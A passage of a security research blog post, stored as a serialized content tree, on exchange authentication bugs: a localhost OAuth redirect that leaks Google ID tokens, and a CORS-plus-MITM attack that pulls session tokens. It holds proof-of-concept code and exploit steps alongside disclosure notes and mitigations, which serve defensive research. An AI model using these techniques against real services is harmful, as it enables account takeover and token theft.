24,"tag":930,"props":104001,"children":104002},{"style":1002},[104003],{"type":30,"value":54543},{"type":24,"tag":930,"props":104005,"children":104006},{"style":959},[104007],{"type":30,"value":1010},{"type":24,"tag":930,"props":104009,"children":104010},{"style":1270},[104011],{"type":30,"value":73658},{"type":24,"tag":930,"props":104013,"children":104014},{"style":959},[104015],{"type":30,"value":962},{"type":24,"tag":930,"props":104017,"children":104018},{"style":1270},[104019],{"type":30,"value":73724},{"type":24,"tag":930,"props":104021,"children":104022},{"style":937},[104023],{"type":30,"value":37197},{"type":24,"tag":930,"props":104025,"children":104026},{"style":1158},[104027],{"type":30,"value":73733},{"type":24,"tag":930,"props":104029,"children":104030},{"style":937},[104031],{"type":30,"value":37229},{"type":24,"tag":930,"props":104033,"children":104034},{"style":1270},[104035],{"type":30,"value":23163},{"type":24,"tag":930,"props":104037,"children":104038},{"style":959},[104039],{"type":30,"value":73746},{"type":24,"tag":930,"props":104041,"children":104042},{"class":932,"line":1169},[104043],{"type":24,"tag":930,"props":104044,"children":104045},{"style":959},[104046],{"type":30,"value":1643},{"type":24,"tag":930,"props":104048,"children":104049},{"class":932,"line":1191},[104050],{"type":24,"tag":930,"props":104051,"children":104052},{"style":959},[104053],{"type":30,"value":1831},{"type":24,"tag":930,"props":104055,"children":104056},{"class":932,"line":1223},[104057],{"type":24,"tag":930,"props":104058,"children":104059},{"emptyLinePlaceholder":16},[104060],{"type":30,"value":2412},{"type":24,"tag":930,"props":104062,"children":104063},{"class":932,"line":1281},[104064,104068,104072,104076,104080,104084,104088,104092,104097],{"type":24,"tag":930,"props":104065,"children":104066},{"style":937},[104067],{"type":30,"value":73783},{"type":24,"tag":930,"props":104069,"children":104070},{"style":959},[104071],{"type":30,"value":73809},{"type":24,"tag":930,"props":104073,"children":104074},{"style":1158},[104075],{"type":30,"value":1161},{"type":24,"tag":930,"props":104077,"children":104078},{"style":1002},[104079],{"type":30,"value":73818},{"type":24,"tag":930,"props":104081,"children":104082},{"style":959},[104083],{"type":30,"value":73823},{"type":24,"tag":930,"props":104085,"children":104086},{"style":1002},[104087],{"type":30,"value":42299},{"type":24,"tag":930,"props":104089,"children":104090},{"style":959},[104091],{"type":30,"value":1010},{"type":24,"tag":930,"props":104093,"children":104094},{"style":1270},[104095],{"type":30,"value":104096},"\"http://localhost:3000\"",{"type":24,"tag":930,"props":104098,"children":104099},{"style":959},[104100],{"type":30,"value":22815},{"type":24,"tag":930,"props":104102,"children":104103},{"class":932,"line":1313},[104104,104108],{"type":24,"tag":930,"props":104105,"children":104106},{"style":1002},[104107],{"type":30,"value":73840},{"type":24,"tag":930,"props":104109,"children":104110},{"style":959},[104111],{"type":30,"value":73845},{"type":24,"tag":930,"props":104113,"children":104114},{"class":932,"line":1335},[104115],{"type":24,"tag":930,"props":104116,"children":104117},{"style":959},[104118],{"type":30,"value":1840},{"type":24,"tag":930,"props":104120,"children":104121},{"class":932,"line":1376},[104122],{"type":24,"tag":930,"props":104123,"children":104124},{"emptyLinePlaceholder":16},[104125],{"type":30,"value":2412},{"type":24,"tag":930,"props":104127,"children":104128},{"class":932,"line":1418},[104129,104133,104137,104141],{"type":24,"tag":930,"props":104130,"children":104131},{"style":937},[104132],{"type":30,"value":73867},{"type":24,"tag":930,"props":104134,"children":104135},{"style":937},[104136],{"type":30,"value":9320},{"type":24,"tag":930,"props":104138,"children":104139},{"style":1002},[104140],{"type":30,"value":73876},{"type":24,"tag":930,"props":104142,"children":104143},{"style":959},[104144],{"type":30,"value":18839},{"type":24,"tag":930,"props":104146,"children":104147},{"class":932,"line":1438},[104148,104152,104156,104160,104164],{"type":24,"tag":930,"props":104149,"children":104150},{"style":1002},[104151],{"type":30,"value":73888},{"type":24,"tag":930,"props":104153,"children":104154},{"style":959},[104155],{"type":30,"value":73893},{"type":24,"tag":930,"props":104157,"children":104158},{"style":1158},[104159],{"type":30,"value":1161},{"type":24,"tag":930,"props":104161,"children":104162},{"style":1242},[104163],{"type":30,"value":73902},{"type":24,"tag":930,"props":104165,"children":104166},{"style":959},[104167],{"type":30,"value":1503},{"type":24,"tag":930,"props":104169,"children":104170},{"class":932,"line":1479},[104171,104175],{"type":24,"tag":930,"props":104172,"children":104173},{"style":1002},[104174],{"type":30,"value":73914},{"type":24,"tag":930,"props":104176,"children":104177},{"style":959},[104178],{"type":30,"value":981},{"type":24,"tag":930,"props":104180,"children":104181},{"class":932,"line":1506},[104182,104186,104190,104194],{"type":24,"tag":930,"props":104183,"children":104184},{"style":937},[104185],{"type":30,"value":73926},{"type":24,"tag":930,"props":104187,"children":104188},{"style":959},[104189],{"type":30,"value":1010},{"type":24,"tag":930,"props":104191,"children":104192},{"style":1270},[104193],{"type":30,"value":73935},{"type":24,"tag":930,"props":104195,"children":104196},{"style":959},[104197],{"type":30,"value":1503},{"type":24,"tag":930,"props":104199,"children":104200},{"class":932,"line":1525},[104201,104205,104209],{"type":24,"tag":930,"props":104202,"children":104203},{"style":959},[104204],{"type":30,"value":73947},{"type":24,"tag":930,"props":104206,"children":104207},{"style":1002},[104208],{"type":30,"value":73952},{"type":24,"tag":930,"props":104210,"children":104211},{"style":959},[104212],{"type":30,"value":981},{"type":24,"tag":930,"props":104214,"children":104215},{"class":932,"line":1569},[104216,104220],{"type":24,"tag":930,"props":104217,"children":104218},{"style":1002},[104219],{"type":30,"value":73964},{"type":24,"tag":930,"props":104221,"children":104222},{"style":959},[104223],{"type":30,"value":981},{"type":24,"tag":930,"props":104225,"children":104226},{"class":932,"line":1592},[104227,104231,104235,104240],{"type":24,"tag":930,"props":104228,"children":104229},{"style":1002},[104230],{"type":30,"value":74041},{"type":24,"tag":930,"props":104232,"children":104233},{"style":959},[104234],{"type":30,"value":1010},{"type":24,"tag":930,"props":104236,"children":104237},{"style":1270},[104238],{"type":30,"value":104239},"\"Test\"",{"type":24,"tag":930,"props":104241,"children":104242},{"style":959},[104243],{"type":30,"value":1054},{"type":24,"tag":930,"props":104245,"children":104246},{"class":932,"line":1610},[104247,104251],{"type":24,"tag":930,"props":104248,"children":104249},{"style":1002},[104250],{"type":30,"value":74106},{"type":24,"tag":930,"props":104252,"children":104253},{"style":959},[104254],{"type":30,"value":981},{"type":24,"tag":930,"props":104256,"children":104257},{"class":932,"line":1628},[104258,104263,104267],{"type":24,"tag":930,"props":104259,"children":104260},{"style":959},[104261],{"type":30,"value":104262},"                                src ",{"type":24,"tag":930,"props":104264,"children":104265},{"style":1158},[104266],{"type":30,"value":1161},{"type":24,"tag":930,"props":104268,"children":104269},{"style":1270},[104270],{"type":30,"value":104271}," \"https://accounts.google.com/gsi/client\"\n",{"type":24,"tag":930,"props":104273,"children":104274},{"class":932,"line":1637},[104275,104280,104285,104289,104293],{"type":24,"tag":930,"props":104276,"children":104277},{"style":959},[104278],{"type":30,"value":104279},"                                attributes[",{"type":24,"tag":930,"props":104281,"children":104282},{"style":1270},[104283],{"type":30,"value":104284},"\"async\"",{"type":24,"tag":930,"props":104286,"children":104287},{"style":959},[104288],{"type":30,"value":11770},{"type":24,"tag":930,"props":104290,"children":104291},{"style":1158},[104292],{"type":30,"value":1161},{"type":24,"tag":930,"props":104294,"children":104295},{"style":1270},[104296],{"type":30,"value":104297}," \"\"\n",{"type":24,"tag":930,"props":104299,"children":104300},{"class":932,"line":1646},[104301,104305,104310,104314,104318],{"type":24,"tag":930,"props":104302,"children":104303},{"style":959},[104304],{"type":30,"value":104279},{"type":24,"tag":930,"props":104306,"children":104307},{"style":1270},[104308],{"type":30,"value":104309},"\"defer\"",{"type":24,"tag":930,"props":104311,"children":104312},{"style":959},[104313],{"type":30,"value":11770},{"type":24,"tag":930,"props":104315,"children":104316},{"style":1158},[104317],{"type":30,"value":1161},{"type":24,"tag":930,"props":104319,"children":104320},{"style":1270},[104321],{"type":30,"value":104297},{"type":24,"tag":930,"props":104323,"children":104324},{"class":932,"line":1673},[104325],{"type":24,"tag":930,"props":104326,"children":104327},{"style":959},[104328],{"type":30,"value":74131},{"type":24,"tag":930,"props":104330,"children":104331},{"class":932,"line":1692},[104332,104336],{"type":24,"tag":930,"props":104333,"children":104334},{"style":1002},[104335],{"type":30,"value":74106},{"type":24,"tag":930,"props":104337,"children":104338},{"style":959},[104339],{"type":30,"value":981},{"type":24,"tag":930,"props":104341,"children":104342},{"class":932,"line":1730},[104343,104348],{"type":24,"tag":930,"props":104344,"children":104345},{"style":1002},[104346],{"type":30,"value":104347},"                                unsafe",{"type":24,"tag":930,"props":104349,"children":104350},{"style":959},[104351],{"type":30,"value":981},{"type":24,"tag":930,"props":104353,"children":104354},{"class":932,"line":1762},[104355,104360],{"type":24,"tag":930,"props":104356,"children":104357},{"style":1158},[104358],{"type":30,"value":104359},"                                    +",{"type":24,"tag":930,"props":104361,"children":104362},{"style":1270},[104363],{"type":30,"value":104364},"\"\"\"\n",{"type":24,"tag":930,"props":104366,"children":104367},{"class":932,"line":1775},[104368],{"type":24,"tag":930,"props":104369,"children":104370},{"style":1270},[104371],{"type":30,"value":104372},"    function handleCredentialResponse(response) {\n",{"type":24,"tag":930,"props":104374,"children":104375},{"class":932,"line":1825},[104376],{"type":24,"tag":930,"props":104377,"children":104378},{"style":1270},[104379],{"type":30,"value":104380},"      alert(\"credential: \" + response.credential);\n",{"type":24,"tag":930,"props":104382,"children":104383},{"class":932,"line":1834},[104384],{"type":24,"tag":930,"props":104385,"children":104386},{"style":1270},[104387],{"type":30,"value":1840},{"type":24,"tag":930,"props":104389,"children":104390},{"class":932,"line":1843},[104391],{"type":24,"tag":930,"props":104392,"children":104393},{"emptyLinePlaceholder":16},[104394],{"type":30,"value":2412},{"type":24,"tag":930,"props":104396,"children":104397},{"class":932,"line":1851},[104398],{"type":24,"tag":930,"props":104399,"children":104400},{"style":1270},[104401],{"type":30,"value":104402},"    window.onload = async function () {\n",{"type":24,"tag":930,"props":104404,"children":104405},{"class":932,"line":1919},[104406],{"type":24,"tag":930,"props":104407,"children":104408},{"style":1270},[104409],{"type":30,"value":104410},"      const oauth_url = new URL(`https://accounts.google.com/o/oauth2/v2/auth/oauthchooseaccount?as=uolEFCMgoGJXBVuGdJja0XdzjrWqOE6iFaK1SBNY9Zk&client_id=redacted&scope=openid%20email%20profile&response_type=id_token&gsiwebsdk=gis_attributes&redirect_uri=http%3A%2F%2Flocalhost%3A3000&response_mode=form_post&origin=http%3A%2F%2Flocalhost%3A3000&display=popup&prompt=select_account&gis_params=ChFodHRwczovL2F6Yml0LmNvbRIRaHR0cHM6Ly9hemJpdC5jb20YByordW9sRUZDTWdvR0pYQlZ1R2RKamEwWGR6anJXcU9FNmlGYUsxU0JOWTlaazJINzE3OTQyNTg0NjQyLXVrb25tbDZkNXM0MjJrZWVpa2RmMTJwdnV1aG1sOWYyLmFwcHMuZ29vZ2xldXNlcmNvbnRlbnQuY29tOAFCQDI0NDlkNGMwMTI3NDQxNGRlMzg5YjFlYjE1MzFmYTAxYTdjM2M5MTFhOTMxNzIxNGJhZTFmODkzNjE2MzIxZDA&service=lso&o2v=1&flowName=GeneralOAuthFlow`);\n",{"type":24,"tag":930,"props":104412,"children":104413},{"class":932,"line":1927},[104414],{"type":24,"tag":930,"props":104415,"children":104416},{"style":1270},[104417],{"type":30,"value":104418},"      const client_id = oauth_url.searchParams.get(\"client_id\");\n",{"type":24,"tag":930,"props":104420,"children":104421},{"class":932,"line":1935},[104422],{"type":24,"tag":930,"props":104423,"children":104424},{"style":1270},[104425],{"type":30,"value":104426},"      google.accounts.id.initialize({\n",{"type":24,"tag":930,"props":104428,"children":104429},{"class":932,"line":1943},[104430],{"type":24,"tag":930,"props":104431,"children":104432},{"style":1270},[104433],{"type":30,"value":104434},"        client_id: client_id,\n",{"type":24,"tag":930,"props":104436,"children":104437},{"class":932,"line":1955},[104438],{"type":24,"tag":930,"props":104439,"children":104440},{"style":1270},[104441],{"type":30,"value":104442},"        callback: handleCredentialResponse,\n",{"type":24,"tag":930,"props":104444,"children":104445},{"class":932,"line":1975},[104446],{"type":24,"tag":930,"props":104447,"children":104448},{"style":1270},[104449],{"type":30,"value":104450},"        auto_select: true\n",{"type":24,"tag":930,"props":104452,"children":104453},{"class":932,"line":1995},[104454],{"type":24,"tag":930,"props":104455,"children":104456},{"style":1270},[104457],{"type":30,"value":10407},{"type":24,"tag":930,"props":104459,"children":104460},{"class":932,"line":2061},[104461],{"type":24,"tag":930,"props":104462,"children":104463},{"emptyLinePlaceholder":16},[104464],{"type":30,"value":2412},{"type":24,"tag":930,"props":104466,"children":104467},{"class":932,"line":2085},[104468],{"type":24,"tag":930,"props":104469,"children":104470},{"style":1270},[104471],{"type":30,"value":104472},"      google.accounts.id.renderButton(\n",{"type":24,"tag":930,"props":104474,"children":104475},{"class":932,"line":2119},[104476],{"type":24,"tag":930,"props":104477,"children":104478},{"style":1270},[104479],{"type":30,"value":104480},"        document.getElementById(\"g_id_signin\"),\n",{"type":24,"tag":930,"props":104482,"children":104483},{"class":932,"line":2135},[104484],{"type":24,"tag":930,"props":104485,"children":104486},{"style":1270},[104487],{"type":30,"value":104488},"        { theme: \"outline\", size: \"large\" }\n",{"type":24,"tag":930,"props":104490,"children":104491},{"class":932,"line":2171},[104492],{"type":24,"tag":930,"props":104493,"children":104494},{"style":1270},[104495],{"type":30,"value":9878},{"type":24,"tag":930,"props":104497,"children":104498},{"class":932,"line":2180},[104499],{"type":24,"tag":930,"props":104500,"children":104501},{"emptyLinePlaceholder":16},[104502],{"type":30,"value":2412},{"type":24,"tag":930,"props":104504,"children":104505},{"class":932,"line":2220},[104506],{"type":24,"tag":930,"props":104507,"children":104508},{"style":1270},[104509],{"type":30,"value":104510},"      google.accounts.id.prompt();\n",{"type":24,"tag":930,"props":104512,"children":104513},{"class":932,"line":2246},[104514],{"type":24,"tag":930,"props":104515,"children":104516},{"style":1270},[104517],{"type":30,"value":42084},{"type":24,"tag":930,"props":104519,"children":104520},{"class":932,"line":2269},[104521,104526,104530,104535],{"type":24,"tag":930,"props":104522,"children":104523},{"style":1270},[104524],{"type":30,"value":104525},"                                    \"\"\"",{"type":24,"tag":930,"props":104527,"children":104528},{"style":959},[104529],{"type":30,"value":436},{"type":24,"tag":930,"props":104531,"children":104532},{"style":1002},[104533],{"type":30,"value":104534},"trimIndent",{"type":24,"tag":930,"props":104536,"children":104537},{"style":959},[104538],{"type":30,"value":10846},{"type":24,"tag":930,"props":104540,"children":104541},{"class":932,"line":2278},[104542],{"type":24,"tag":930,"props":104543,"children":104544},{"style":959},[104545],{"type":30,"value":104546},"                                }\n",{"type":24,"tag":930,"props":104548,"children":104549},{"class":932,"line":2306},[104550],{"type":24,"tag":930,"props":104551,"children":104552},{"style":959},[104553],{"type":30,"value":74131},{"type":24,"tag":930,"props":104555,"children":104556},{"class":932,"line":2337},[104557],{"type":24,"tag":930,"props":104558,"children":104559},{"style":959},[104560],{"type":30,"value":4823},{"type":24,"tag":930,"props":104562,"children":104563},{"class":932,"line":2346},[104564,104568],{"type":24,"tag":930,"props":104565,"children":104566},{"style":1002},[104567],{"type":30,"value":74069},{"type":24,"tag":930,"props":104569,"children":104570},{"style":959},[104571],{"type":30,"value":981},{"type":24,"tag":930,"props":104573,"children":104574},{"class":932,"line":2355},[104575,104579,104583,104587,104592],{"type":24,"tag":930,"props":104576,"children":104577},{"style":1002},[104578],{"type":30,"value":74081},{"type":24,"tag":930,"props":104580,"children":104581},{"style":959},[104582],{"type":30,"value":12694},{"type":24,"tag":930,"props":104584,"children":104585},{"style":1158},[104586],{"type":30,"value":1400},{"type":24,"tag":930,"props":104588,"children":104589},{"style":1270},[104590],{"type":30,"value":104591},"\"Login here:\"",{"type":24,"tag":930,"props":104593,"children":104594},{"style":959},[104595],{"type":30,"value":12704},{"type":24,"tag":930,"props":104597,"children":104598},{"class":932,"line":2398},[104599,104604],{"type":24,"tag":930,"props":104600,"children":104601},{"style":1002},[104602],{"type":30,"value":104603},"                            div",{"type":24,"tag":930,"props":104605,"children":104606},{"style":959},[104607],{"type":30,"value":981},{"type":24,"tag":930,"props":104609,"children":104610},{"class":932,"line":2406},[104611,104616,104620],{"type":24,"tag":930,"props":104612,"children":104613},{"style":959},[104614],{"type":30,"value":104615},"                                id ",{"type":24,"tag":930,"props":104617,"children":104618},{"style":1158},[104619],{"type":30,"value":1161},{"type":24,"tag":930,"props":104621,"children":104622},{"style":1270},[104623],{"type":30,"value":104624}," \"g_id_signin\"\n",{"type":24,"tag":930,"props":104626,"children":104627},{"class":932,"line":2415},[104628],{"type":24,"tag":930,"props":104629,"children":104630},{"style":959},[104631],{"type":30,"value":74131},{"type":24,"tag":930,"props":104633,"children":104634},{"class":932,"line":2440},[104635],{"type":24,"tag":930,"props":104636,"children":104637},{"style":959},[104638],{"type":30,"value":4823},{"type":24,"tag":930,"props":104640,"children":104641},{"class":932,"line":2457},[104642],{"type":24,"tag":930,"props":104643,"children":104644},{"style":959},[104645],{"type":30,"value":4831},{"type":24,"tag":930,"props":104647,"children":104648},{"class":932,"line":2465},[104649],{"type":24,"tag":930,"props":104650,"children":104651},{"style":959},[104652],{"type":30,"value":1634},{"type":24,"tag":930,"props":104654,"children":104655},{"class":932,"line":2473},[104656],{"type":24,"tag":930,"props":104657,"children":104658},{"style":959},[104659],{"type":30,"value":1643},{"type":24,"tag":930,"props":104661,"children":104662},{"class":932,"line":2492},[104663,104667,104671,104675,104679,104683],{"type":24,"tag":930,"props":104664,"children":104665},{"style":959},[104666],{"type":30,"value":74167},{"type":24,"tag":930,"props":104668,"children":104669},{"style":1002},[104670],{"type":30,"value":74172},{"type":24,"tag":930,"props":104672,"children":104673},{"style":959},[104674],{"type":30,"value":74177},{"type":24,"tag":930,"props":104676,"children":104677},{"style":1158},[104678],{"type":30,"value":1161},{"type":24,"tag":930,"props":104680,"children":104681},{"style":937},[104682],{"type":30,"value":15576},{"type":24,"tag":930,"props":104684,"children":104685},{"style":959},[104686],{"type":30,"value":1054},{"type":24,"tag":930,"props":104688,"children":104689},{"class":932,"line":2506},[104690],{"type":24,"tag":930,"props":104691,"children":104692},{"style":959},[104693],{"type":30,"value":1840},{"type":24,"tag":33,"props":104695,"children":104696},{},[104697],{"type":30,"value":104698},"We also reported this vulnerability to the Web3Auth mobile SDK, Slush Wallet, Kukai Wallet, and several other web3 platforms. As mentioned earlier, this issue could have allowed account takeover with zero user interaction if the user had installed an application that exploited the localhost redirect.",{"type":24,"tag":33,"props":104700,"children":104701},{},[104702],{"type":30,"value":104703},"Each team responded promptly, communicated clearly, and shipped fixes quickly. Their diligence set a strong example for coordinated response and helped ensure user security across the ecosystem.",{"type":24,"tag":151,"props":104705,"children":104707},{"id":104706},"how-to-mitigate",[104708],{"type":30,"value":104709},"How to Mitigate",{"type":24,"tag":33,"props":104711,"children":104712},{},[104713],{"type":30,"value":104714},"The proper way to mitigate this issue is to disallow localhost in the live environment. Developers should have a separate staging OAuth environment with a different client ID for testing purposes. It's important to ensure that tokens generated using the test client ID are not valid in the live environment.",{"type":24,"tag":68,"props":104716,"children":104718},{"id":104717},"exploiting-cors",[104719],{"type":30,"value":104720},"Exploiting CORS",{"type":24,"tag":33,"props":104722,"children":104723},{},[104724],{"type":30,"value":104725},"Another bug we found during our research was related to CORS misconfiguration and how different browsers handle mixed content requests.",{"type":24,"tag":33,"props":104727,"children":104728},{},[104729,104731,104737],{"type":30,"value":104730},"While checking for other bugs in exchanges, we found a CORS (Cross-Origin Resource Sharing) configuration allowing credentials and ",{"type":24,"tag":156,"props":104732,"children":104734},{"className":104733},[],[104735],{"type":30,"value":104736},"http://",{"type":30,"value":104738}," schema for any subdomain:",{"type":24,"tag":920,"props":104740,"children":104744},{"className":104741,"code":104742,"language":104743,"meta":7,"style":7},"language-http shiki shiki-themes slack-dark","HTTP 200 OK\nAccess-Control-Allow-Origin: http://aa.exchange.com\nAccess-Control-Allow-Credentials: true\n[...]\n","http",[104745],{"type":24,"tag":156,"props":104746,"children":104747},{"__ignoreMap":7},[104748,104756,104764,104772],{"type":24,"tag":930,"props":104749,"children":104750},{"class":932,"line":933},[104751],{"type":24,"tag":930,"props":104752,"children":104753},{},[104754],{"type":30,"value":104755},"HTTP 200 OK\n",{"type":24,"tag":930,"props":104757,"children":104758},{"class":932,"line":984},[104759],{"type":24,"tag":930,"props":104760,"children":104761},{},[104762],{"type":30,"value":104763},"Access-Control-Allow-Origin: http://aa.exchange.com\n",{"type":24,"tag":930,"props":104765,"children":104766},{"class":932,"line":993},[104767],{"type":24,"tag":930,"props":104768,"children":104769},{},[104770],{"type":30,"value":104771},"Access-Control-Allow-Credentials: true\n",{"type":24,"tag":930,"props":104773,"children":104774},{"class":932,"line":1057},[104775],{"type":24,"tag":930,"props":104776,"children":104777},{},[104778],{"type":30,"value":990},{"type":24,"tag":151,"props":104780,"children":104782},{"id":104781},"cors-misconfiguration-by-lack-of-tls",[104783],{"type":30,"value":104784},"CORS Misconfiguration by Lack of TLS",{"type":24,"tag":33,"props":104786,"children":104787},{},[104788,104790,104796],{"type":30,"value":104789},"This case requires specific preconditions. The idea is to redirect the user to an insecure subdomain of ",{"type":24,"tag":156,"props":104791,"children":104793},{"className":104792},[],[104794],{"type":30,"value":104795},"exchange.com",{"type":30,"value":104797}," and spoof the response by intercepting and tampering with the victim's network packets.",{"type":24,"tag":33,"props":104799,"children":104800},{},[104801],{"type":30,"value":104802},"However, while testing it by simulating an MITM attack, we figured out that this type of attack behaves differently amongst the main browsers:",{"type":24,"tag":96,"props":104804,"children":104805},{},[104806,104826],{"type":24,"tag":100,"props":104807,"children":104808},{},[104809,104811,104816,104818,104824],{"type":30,"value":104810},"Chrome --> won't work because cookies are not sent in ",{"type":24,"tag":156,"props":104812,"children":104814},{"className":104813},[],[104815],{"type":30,"value":104736},{"type":30,"value":104817}," --> ",{"type":24,"tag":156,"props":104819,"children":104821},{"className":104820},[],[104822],{"type":30,"value":104823},"https://",{"type":30,"value":104825}," requests, even if same-site",{"type":24,"tag":100,"props":104827,"children":104828},{},[104829,104831],{"type":30,"value":104830},"Firefox and Safari --> works since cookies are sent from an insecure context ",{"type":24,"tag":156,"props":104832,"children":104834},{"className":104833},[],[104835],{"type":30,"value":40853},{"type":24,"tag":151,"props":104837,"children":104839},{"id":104838},"exploit-1",[104840],{"type":30,"value":103175},{"type":24,"tag":33,"props":104842,"children":104843},{},[104844],{"type":30,"value":104845},"To exploit it, we must follow some steps:",{"type":24,"tag":478,"props":104847,"children":104848},{},[104849,104854,104859],{"type":24,"tag":100,"props":104850,"children":104851},{},[104852],{"type":30,"value":104853},"Force the victim to enter an insecure webpage in the exchange subdomain",{"type":24,"tag":100,"props":104855,"children":104856},{},[104857],{"type":30,"value":104858},"Deliver the malicious script to the victim using MITM (Man-In-The-Middle)",{"type":24,"tag":100,"props":104860,"children":104861},{},[104862,104864,104869],{"type":30,"value":104863},"Use ",{"type":24,"tag":156,"props":104865,"children":104867},{"className":104866},[],[104868],{"type":30,"value":40853},{"type":30,"value":104870}," with CORS to do something malicious using the victim's account",{"type":24,"tag":33,"props":104872,"children":104873},{},[104874],{"type":30,"value":104875},"To exploit the CORS issue, an attacker must first get the victim to load an insecure subdomain. This can be achieved through techniques such as spoofing Wi-Fi or creating a fake public network that automatically opens the insecure page as the captive portal.",{"type":24,"tag":33,"props":104877,"children":104878},{},[104879,104881,104886],{"type":30,"value":104880},"Once the redirect to the ",{"type":24,"tag":156,"props":104882,"children":104884},{"className":104883},[],[104885],{"type":30,"value":104736},{"type":30,"value":104887}," website is made, if the attacker is in an adjacent network, it is possible to intercept the HTTP request/response (or DNS resolve) and tamper with the returning page. The returning page should have a malicious script that exploits the CORS misconfiguration:",{"type":24,"tag":920,"props":104889,"children":104891},{"className":34455,"code":104890,"language":34457,"meta":7,"style":7},"(async () => {\n  let res = await fetch('https://www.exchange.com/api/session_token', {\n    credentials: 'include',\n    method: 'POST',\n  });\n  console.log(await res.json());\n})();\n",[104892],{"type":24,"tag":156,"props":104893,"children":104894},{"__ignoreMap":7},[104895,104918,104955,104972,104989,104996,105037],{"type":24,"tag":930,"props":104896,"children":104897},{"class":932,"line":933},[104898,104902,104906,104910,104914],{"type":24,"tag":930,"props":104899,"children":104900},{"style":959},[104901],{"type":30,"value":1010},{"type":24,"tag":930,"props":104903,"children":104904},{"style":937},[104905],{"type":30,"value":39233},{"type":24,"tag":930,"props":104907,"children":104908},{"style":959},[104909],{"type":30,"value":42784},{"type":24,"tag":930,"props":104911,"children":104912},{"style":937},[104913],{"type":30,"value":17925},{"type":24,"tag":930,"props":104915,"children":104916},{"style":959},[104917],{"type":30,"value":981},{"type":24,"tag":930,"props":104919,"children":104920},{"class":932,"line":984},[104921,104925,104930,104934,104938,104942,104946,104951],{"type":24,"tag":930,"props":104922,"children":104923},{"style":937},[104924],{"type":30,"value":10965},{"type":24,"tag":930,"props":104926,"children":104927},{"style":1023},[104928],{"type":30,"value":104929}," res",{"type":24,"tag":930,"props":104931,"children":104932},{"style":1158},[104933],{"type":30,"value":6137},{"type":24,"tag":930,"props":104935,"children":104936},{"style":1079},[104937],{"type":30,"value":39299},{"type":24,"tag":930,"props":104939,"children":104940},{"style":1002},[104941],{"type":30,"value":36017},{"type":24,"tag":930,"props":104943,"children":104944},{"style":959},[104945],{"type":30,"value":1010},{"type":24,"tag":930,"props":104947,"children":104948},{"style":1270},[104949],{"type":30,"value":104950},"'https://www.exchange.com/api/session_token'",{"type":24,"tag":930,"props":104952,"children":104953},{"style":959},[104954],{"type":30,"value":51971},{"type":24,"tag":930,"props":104956,"children":104957},{"class":932,"line":993},[104958,104963,104968],{"type":24,"tag":930,"props":104959,"children":104960},{"style":1023},[104961],{"type":30,"value":104962},"    credentials:",{"type":24,"tag":930,"props":104964,"children":104965},{"style":1270},[104966],{"type":30,"value":104967}," 'include'",{"type":24,"tag":930,"props":104969,"children":104970},{"style":959},[104971],{"type":30,"value":2832},{"type":24,"tag":930,"props":104973,"children":104974},{"class":932,"line":1057},[104975,104980,104985],{"type":24,"tag":930,"props":104976,"children":104977},{"style":1023},[104978],{"type":30,"value":104979},"    method:",{"type":24,"tag":930,"props":104981,"children":104982},{"style":1270},[104983],{"type":30,"value":104984}," 'POST'",{"type":24,"tag":930,"props":104986,"children":104987},{"style":959},[104988],{"type":30,"value":2832},{"type":24,"tag":930,"props":104990,"children":104991},{"class":932,"line":1066},[104992],{"type":24,"tag":930,"props":104993,"children":104994},{"style":959},[104995],{"type":30,"value":101258},{"type":24,"tag":930,"props":104997,"children":104998},{"class":932,"line":1075},[104999,105004,105008,105013,105017,105021,105025,105029,105033],{"type":24,"tag":930,"props":105000,"children":105001},{"style":1023},[105002],{"type":30,"value":105003},"  console",{"type":24,"tag":930,"props":105005,"children":105006},{"style":959},[105007],{"type":30,"value":436},{"type":24,"tag":930,"props":105009,"children":105010},{"style":1002},[105011],{"type":30,"value":105012},"log",{"type":24,"tag":930,"props":105014,"children":105015},{"style":959},[105016],{"type":30,"value":1010},{"type":24,"tag":930,"props":105018,"children":105019},{"style":1079},[105020],{"type":30,"value":36004},{"type":24,"tag":930,"props":105022,"children":105023},{"style":1023},[105024],{"type":30,"value":104929},{"type":24,"tag":930,"props":105026,"children":105027},{"style":959},[105028],{"type":30,"value":436},{"type":24,"tag":930,"props":105030,"children":105031},{"style":1002},[105032],{"type":30,"value":37086},{"type":24,"tag":930,"props":105034,"children":105035},{"style":959},[105036],{"type":30,"value":18528},{"type":24,"tag":930,"props":105038,"children":105039},{"class":932,"line":1122},[105040],{"type":24,"tag":930,"props":105041,"children":105042},{"style":959},[105043],{"type":30,"value":105044},"})();\n",{"type":24,"tag":33,"props":105046,"children":105047},{},[105048],{"type":30,"value":105049},"During our research, the misconfiguration we found was in an API with an endpoint to return the session token, so the impact was an account takeover (ATO) with some limitations since exchanges usually have MFA to perform some actions like withdrawing.",{"type":24,"tag":151,"props":105051,"children":105052},{"id":43421},[105053],{"type":30,"value":43424},{"type":24,"tag":33,"props":105055,"children":105056},{},[105057,105059,105064],{"type":30,"value":105058},"As mitigation, it is recommended to remove all ",{"type":24,"tag":156,"props":105060,"children":105062},{"className":105061},[],[105063],{"type":30,"value":104736},{"type":30,"value":105065}," URLs from the CORS configuration, including localhost, since a local web server in a mobile environment can abuse it.",{"type":24,"tag":33,"props":105067,"children":105068},{},[105069],{"type":30,"value":105070},"Also, as additional/alternative remediation, it is possible to configure the HSTS policy to include all subdomains and prevent insecure subdomains from loading in the browser.",{"type":24,"tag":68,"props":105072,"children":105073},{"id":5876},[105074],{"type":30,"value":5879},{"type":24,"tag":33,"props":105076,"children":105077},{},[105078],{"type":30,"value":105079},"In conclusion, our deep dive into authentication and client-side bugs within exchange platforms revealed several vulnerabilities stemming from misconfigurations. These types of attacks show the complexity of securing client-side applications due to the different contexts and environments they can operate in.",{"type":24,"tag":33,"props":105081,"children":105082},{},[105083],{"type":30,"value":105084},"It also demonstrates how development configurations can harm the application's security if they are also used in production. Thus, auditors must always understand in which environments and contexts the application will/can be run in, and ensure that the configurations are not insecure for use in 